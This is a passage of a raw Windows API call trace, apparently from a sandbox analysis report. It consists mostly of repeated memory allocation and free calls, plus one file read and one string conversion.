0x723b080 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70e0 [0100.307] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a4a0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f70f0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b1c0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7100 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a780 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7110 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b160 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4c) returned 0x71d36c0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x26) returned 0x727cb20 [0100.308] LocalFree (hMem=0x71d36c0) returned 0x0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b1a0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7120 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b460 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7130 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b500 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7140 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bd80 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f7150 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a3e0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x24) returned 0x727cbb0 [0100.308] LocalAlloc (uFlags=0x40, uBytes=0x12) returned 0x723a7c0 [0100.308] LocalFree (hMem=0x727cbb0) returned 0x0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723af40 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f65a0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b280 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6520 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aea0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f65b0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723af20 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6550 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ab00 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6490 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aa80 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f64b0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ada0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6570 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bda0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6590 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723be80 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6750 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bfe0 [0100.309] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471c60 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a1e0 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471a90 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b200 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471ca0 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a620 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471c30 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a880 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471cb0 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b6c0 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x4471b00 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b900 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432cc40 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b960 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432cc30 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a400 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432cc00 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723af80 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432caa0 [0100.310] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b600 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432c9a0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bb80 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x432cc60 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a4c0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c0400 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a6e0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c0490 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a8a0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c0270 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ad80 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c02a0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b980 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c0360 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bb60 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x42c03e0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a0a0 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x2f0270 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a940 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x284ce00 [0100.311] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bb40 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295d60 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bec0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295d70 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723afa0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295d80 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b0a0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295d90 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b0c0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295da0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b1e0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295db0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bcc0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295dc0 [0100.312] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b000 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295dd0 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b180 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295de0 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ba80 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295df0 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bbe0 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e00 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bd40 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e10 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a960 [0100.364] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e20 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b2e0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e30 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b4c0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e40 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723acc0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e50 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ab20 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e60 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723aca0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e70 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ad40 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e80 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ba60 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295e90 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a800 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ea0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b7c0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295eb0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b400 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ec0 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a700 [0100.365] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ed0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9e0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ee0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b300 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ef0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b320 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f00 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a5a0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f10 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723ab60 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f20 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bb20 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f30 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a340 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f40 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723af60 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f50 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bf00 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f60 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a820 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f70 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b780 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f80 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a7e0 [0100.366] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295f90 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a8c0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295fa0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723b760 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295fb0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a1a0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295fc0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bbc0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295fd0 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723bd00 [0100.367] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295fe0 [0100.367] LocalFree (hMem=0x28f6ff0) returned 0x0 [0100.367] LocalFree (hMem=0x43c0520) returned 0x0 [0100.367] LocalFree (hMem=0x71a6260) returned 0x0 [0100.367] LocalFree (hMem=0x43c04c0) returned 0x0 [0100.367] LocalFree (hMem=0x71a2ff0) returned 0x0 [0100.367] LocalFree (hMem=0x43c12a0) returned 0x0 [0100.367] LocalFree (hMem=0x71beba0) returned 0x0 [0100.367] LocalFree (hMem=0x43c0070) returned 0x0 [0100.367] LocalFree (hMem=0x43406c0) returned 0x0 [0100.367] LocalFree (hMem=0x43c0f70) returned 0x0 [0100.367] LocalFree (hMem=0x433fc00) returned 0x0 [0100.367] LocalFree (hMem=0x43c1000) returned 0x0 [0100.367] LocalFree (hMem=0x43408a0) returned 0x0 [0100.367] LocalFree (hMem=0x43c1030) returned 0x0 [0100.367] LocalFree (hMem=0x433fb60) returned 0x0 [0100.367] LocalFree (hMem=0x43c1060) returned 0x0 [0100.367] LocalFree (hMem=0x433ff40) returned 0x0 [0100.367] LocalFree (hMem=0x43c1090) returned 0x0 [0100.368] LocalFree (hMem=0x433fc80) returned 0x0 [0100.368] LocalFree (hMem=0x43c10c0) returned 0x0 [0100.368] LocalFree (hMem=0x4340240) returned 0x0 [0100.368] LocalFree (hMem=0x43c10f0) returned 0x0 [0100.368] LocalFree (hMem=0x4340220) returned 0x0 [0100.368] LocalFree (hMem=0x43c1120) returned 0x0 [0100.368] LocalFree (hMem=0x4340560) returned 0x0 [0100.368] LocalFree (hMem=0x43c03a0) returned 0x0 [0100.368] LocalFree (hMem=0x433fae0) returned 0x0 [0100.368] LocalFree (hMem=0x43c0e50) returned 0x0 [0100.368] LocalFree (hMem=0x4340500) returned 0x0 [0100.368] LocalFree (hMem=0x43bf8c0) returned 0x0 [0100.368] LocalFree (hMem=0x433fd20) returned 0x0 [0100.368] LocalFree (hMem=0x43c2410) returned 0x0 [0100.368] LocalFree (hMem=0x433f980) returned 0x0 [0100.368] LocalFree (hMem=0x43c2170) returned 0x0 [0100.368] LocalFree (hMem=0x43c2290) returned 0x0 [0100.368] LocalFree (hMem=0x43c22f0) returned 0x0 [0100.368] LocalFree (hMem=0x43c1240) returned 0x0 [0100.368] LocalFree (hMem=0x43c2440) returned 0x0 [0100.368] LocalFree (hMem=0x433fc60) returned 0x0 [0100.368] LocalFree (hMem=0x43c1150) returned 0x0 [0100.368] LocalFree (hMem=0x433fca0) returned 0x0 [0100.368] LocalFree (hMem=0x43c11e0) returned 0x0 [0100.368] LocalFree (hMem=0x43408c0) returned 0x0 [0100.368] LocalFree (hMem=0x43c1210) returned 0x0 [0100.368] LocalFree (hMem=0x4340860) returned 0x0 [0100.368] LocalFree (hMem=0x43bf9e0) returned 0x0 [0100.368] LocalFree (hMem=0x4340540) returned 0x0 [0100.368] LocalFree (hMem=0x43c1e10) returned 0x0 [0100.368] LocalFree (hMem=0x4340580) returned 0x0 [0100.368] LocalFree (hMem=0x43c1f00) returned 0x0 [0100.369] LocalFree (hMem=0x4340800) returned 0x0 [0100.369] LocalFree (hMem=0x43c1e40) returned 0x0 [0100.369] LocalFree (hMem=0x43407c0) returned 0x0 [0100.369] LocalFree (hMem=0x43c1ea0) returned 0x0 [0100.369] LocalFree (hMem=0x4340620) returned 0x0 [0100.369] LocalFree (hMem=0x43c1570) returned 0x0 [0100.369] LocalFree (hMem=0x433fd00) returned 0x0 [0100.369] LocalFree (hMem=0x43c24d0) returned 0x0 [0100.369] LocalFree (hMem=0x43404c0) returned 0x0 [0100.369] LocalFree (hMem=0x43c1d20) returned 0x0 [0100.369] LocalFree (hMem=0x433fa80) returned 0x0 [0100.369] LocalFree (hMem=0x43c28f0) returned 0x0 [0100.369] LocalFree (hMem=0x43405e0) returned 0x0 [0100.369] LocalFree (hMem=0x43c2a10) returned 0x0 [0100.369] LocalFree (hMem=0x433fb20) returned 0x0 [0100.369] LocalFree (hMem=0x43c2aa0) returned 0x0 [0100.369] LocalFree (hMem=0x43405a0) returned 0x0 [0100.369] LocalFree (hMem=0x43c2770) returned 0x0 [0100.369] LocalFree (hMem=0x433fd80) returned 0x0 [0100.369] LocalFree (hMem=0x43c0e20) returned 0x0 [0100.369] LocalFree (hMem=0x4340660) returned 0x0 [0100.369] LocalFree (hMem=0x43bf590) returned 0x0 [0100.369] LocalFree (hMem=0x43404a0) returned 0x0 [0100.369] LocalFree (hMem=0x43c0460) returned 0x0 [0100.369] LocalFree (hMem=0x433fd60) returned 0x0 [0100.369] LocalFree (hMem=0x43c0f10) returned 0x0 [0100.369] LocalFree (hMem=0x4340440) returned 0x0 [0100.369] LocalFree (hMem=0x43c0eb0) returned 0x0 [0100.369] LocalFree (hMem=0x43403a0) returned 0x0 [0100.369] LocalFree (hMem=0x43c0df0) returned 0x0 [0100.369] LocalFree (hMem=0x4340200) returned 0x0 [0100.369] LocalFree (hMem=0x43c0dc0) returned 0x0 [0100.369] LocalFree (hMem=0x433f9c0) returned 0x0 [0100.369] LocalFree (hMem=0x43c0c10) returned 0x0 [0100.370] LocalFree (hMem=0x43407a0) returned 0x0 [0100.370] LocalFree (hMem=0x43c0be0) returned 0x0 [0100.370] LocalFree (hMem=0x43404e0) returned 0x0 [0100.370] LocalFree (hMem=0x43c0b80) returned 0x0 [0100.370] LocalFree (hMem=0x4340600) returned 0x0 [0100.370] LocalFree (hMem=0x43c0040) returned 0x0 [0100.370] LocalFree (hMem=0x433fbe0) returned 0x0 [0100.370] LocalFree (hMem=0x43bff20) returned 0x0 [0100.370] LocalFree (hMem=0x433fcc0) returned 0x0 [0100.370] LocalFree (hMem=0x43bfd70) returned 0x0 [0100.370] LocalFree (hMem=0x4340640) returned 0x0 [0100.370] LocalFree (hMem=0x43bfad0) returned 0x0 [0100.370] LocalFree (hMem=0x4340880) returned 0x0 [0100.370] LocalFree (hMem=0x43c1180) returned 0x0 [0100.370] LocalFree (hMem=0x43407e0) returned 0x0 [0100.370] LocalFree (hMem=0x727c310) returned 0x0 [0100.370] LocalFree (hMem=0x433fd40) returned 0x0 [0100.370] LocalFree (hMem=0x727d3c0) returned 0x0 [0100.370] LocalFree (hMem=0x4340380) returned 0x0 [0100.370] LocalFree (hMem=0x727d6f0) returned 0x0 [0100.370] LocalFree (hMem=0x4340840) returned 0x0 [0100.370] LocalFree (hMem=0x727d810) returned 0x0 [0100.370] LocalFree (hMem=0x4340720) returned 0x0 [0100.370] LocalFree (hMem=0x727d930) returned 0x0 [0100.370] LocalFree (hMem=0x4340360) returned 0x0 [0100.370] LocalFree (hMem=0x727da50) returned 0x0 [0100.370] LocalFree (hMem=0x4340520) returned 0x0 [0100.370] LocalFree (hMem=0x727dd50) returned 0x0 [0100.370] LocalFree (hMem=0x4340700) returned 0x0 [0100.370] LocalFree (hMem=0x727de70) returned 0x0 [0100.370] LocalFree (hMem=0x43406e0) returned 0x0 [0100.370] LocalFree (hMem=0x727df90) returned 0x0 [0100.370] LocalFree (hMem=0x4340820) returned 0x0 [0100.370] LocalFree (hMem=0x727e0b0) returned 0x0 [0100.371] LocalFree (hMem=0x4340780) returned 0x0 [0100.371] LocalFree (hMem=0x727e1d0) returned 0x0 [0100.371] LocalFree (hMem=0x433fb80) returned 0x0 [0100.371] LocalFree (hMem=0x727e2f0) returned 0x0 [0100.371] LocalFree (hMem=0x4340320) returned 0x0 [0100.371] LocalFree (hMem=0x727e410) returned 0x0 [0100.371] LocalFree (hMem=0x4340740) returned 0x0 [0100.371] LocalFree (hMem=0x727e530) returned 0x0 [0100.371] LocalFree (hMem=0x433fa20) returned 0x0 [0100.371] LocalFree (hMem=0x727e650) returned 0x0 [0100.371] LocalFree (hMem=0x723b640) returned 0x0 [0100.371] LocalFree (hMem=0x727e770) returned 0x0 [0100.371] LocalFree (hMem=0x723b480) returned 0x0 [0100.371] LocalFree (hMem=0x727e890) returned 0x0 [0100.371] LocalFree (hMem=0x723b920) returned 0x0 [0100.371] LocalFree (hMem=0x727eaa0) returned 0x0 [0100.371] LocalFree (hMem=0x723a3c0) returned 0x0 [0100.371] LocalFree (hMem=0x727ebc0) returned 0x0 [0100.371] LocalFree (hMem=0x723a380) returned 0x0 [0100.371] LocalFree (hMem=0x727ece0) returned 0x0 [0100.371] LocalFree (hMem=0x723a580) returned 0x0 [0100.371] LocalFree (hMem=0x727eef0) returned 0x0 [0100.371] LocalFree (hMem=0x723a4e0) returned 0x0 [0100.371] LocalFree (hMem=0x727f010) returned 0x0 [0100.371] LocalFree (hMem=0x723a520) returned 0x0 [0100.371] LocalFree (hMem=0x727f130) returned 0x0 [0100.371] LocalFree (hMem=0x723a480) returned 0x0 [0100.371] LocalFree (hMem=0x727f250) returned 0x0 [0100.371] LocalFree (hMem=0x723b660) returned 0x0 [0100.371] LocalFree (hMem=0x727f460) returned 0x0 [0100.371] LocalFree (hMem=0x723bee0) returned 0x0 [0100.371] LocalFree (hMem=0x727f580) returned 0x0 [0100.371] LocalFree (hMem=0x723b020) returned 0x0 [0100.371] LocalFree (hMem=0x727f6a0) returned 0x0 [0100.371] LocalFree (hMem=0x723c000) returned 0x0 [0100.372] LocalFree (hMem=0x727f8b0) returned 0x0 [0100.372] LocalFree (hMem=0x723aa40) returned 0x0 [0100.372] LocalFree (hMem=0x727be30) returned 0x0 [0100.372] LocalFree (hMem=0x723b2c0) returned 0x0 [0100.372] LocalFree (hMem=0x727be90) returned 0x0 [0100.372] LocalFree (hMem=0x723b260) returned 0x0 [0100.372] LocalFree (hMem=0x727c130) returned 0x0 [0100.372] LocalFree (hMem=0x723b100) returned 0x0 [0100.372] LocalFree (hMem=0x727c190) returned 0x0 [0100.372] LocalFree (hMem=0x723a140) returned 0x0 [0100.372] LocalFree (hMem=0x727c280) returned 0x0 [0100.372] LocalFree (hMem=0x723a0c0) returned 0x0 [0100.372] LocalFree (hMem=0x727c2b0) returned 0x0 [0100.372] LocalFree (hMem=0x723b060) returned 0x0 [0100.372] LocalFree (hMem=0x727c370) returned 0x0 [0100.372] LocalFree (hMem=0x723a740) returned 0x0 [0100.372] LocalFree (hMem=0x727c3d0) returned 0x0 [0100.372] LocalFree (hMem=0x723a280) returned 0x0 [0100.372] LocalFree (hMem=0x727c4c0) returned 0x0 [0100.372] LocalFree (hMem=0x723ac20) returned 0x0 [0100.372] LocalFree (hMem=0x727c4f0) returned 0x0 [0100.372] LocalFree (hMem=0x723a0e0) returned 0x0 [0100.372] LocalFree (hMem=0x727c580) returned 0x0 [0100.372] LocalFree (hMem=0x723bc60) returned 0x0 [0100.372] LocalFree (hMem=0x727c610) returned 0x0 [0100.372] LocalFree (hMem=0x723b860) returned 0x0 [0100.372] LocalFree (hMem=0x727c6a0) returned 0x0 [0100.372] LocalFree (hMem=0x723b4e0) returned 0x0 [0100.372] LocalFree (hMem=0x727c790) returned 0x0 [0100.372] LocalFree (hMem=0x723b040) returned 0x0 [0100.372] LocalFree (hMem=0x727c880) returned 0x0 [0100.372] LocalFree (hMem=0x723b7e0) returned 0x0 [0100.372] LocalFree (hMem=0x727c8e0) returned 0x0 [0100.372] LocalFree (hMem=0x723a2e0) returned 0x0 [0100.372] LocalFree (hMem=0x727c9a0) returned 0x0 [0100.372] LocalFree (hMem=0x723a9c0) returned 0x0 [0100.373] LocalFree (hMem=0x727ca30) returned 0x0 [0100.373] LocalFree (hMem=0x72069a0) returned 0x0 [0100.373] LocalFree (hMem=0x43c2800) returned 0x0 [0100.373] bsearch (_Key=0x6a1e6f8, _Base=0x4457620, _NumOfElements=0x40, _SizeOfElements=0x28, _PtFuncCompare=0x94c3a68) returned 0x4457da0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x1c0) returned 0x4289f00 [0100.373] SetFilePointer (in: hFile=0x12b4, lDistanceToMove=35840, lpDistanceToMoveHigh=0x6a1e6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x6a1e6b8*=0) returned 0x8c00 [0100.373] ReadFile (in: hFile=0x12b4, lpBuffer=0x4289f00, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x6a1e6c8, lpOverlapped=0x0 | out: lpBuffer=0x4289f00*, lpNumberOfBytesRead=0x6a1e6c8*=0x1c0, lpOverlapped=0x0) returned 1 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x723a9c0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x43c2800 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x220) returned 0x71c77d0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1180 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43bfad0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bfd70 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x28f6ff0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bff20 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x11) returned 0x723a2e0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0040 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x1d) returned 0x43c0b80 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0be0 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x7214790 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0c10 [0100.373] LocalAlloc (uFlags=0x40, uBytes=0x400) returned 0x7214fb0 [0100.374] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sdjwh@dive.djh", cchWideChar=30, lpMultiByteStr=0x7214fb0, cbMultiByte=1024, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sdjwh@dive.djh", lpUsedDefaultChar=0x0) returned 30 [0100.374] LocalFree (hMem=0x43c0b80) returned 0x0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x1e) returned 0x43c0b80 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0dc0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0df0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0eb0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7295ff0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c0f10 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0460 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf590 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c0e20 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2770 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c2aa0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c2a10 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c28f0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1d20 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c24d0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1570 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1ea0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e40 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x19) returned 0x43c1f00 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1e10 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296000 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43bf9e0 [0100.374] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296010 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c1210 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x7296020 [0100.375] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x43c11e0 [0100.375] LocalAlloc (uFlags=0x40, 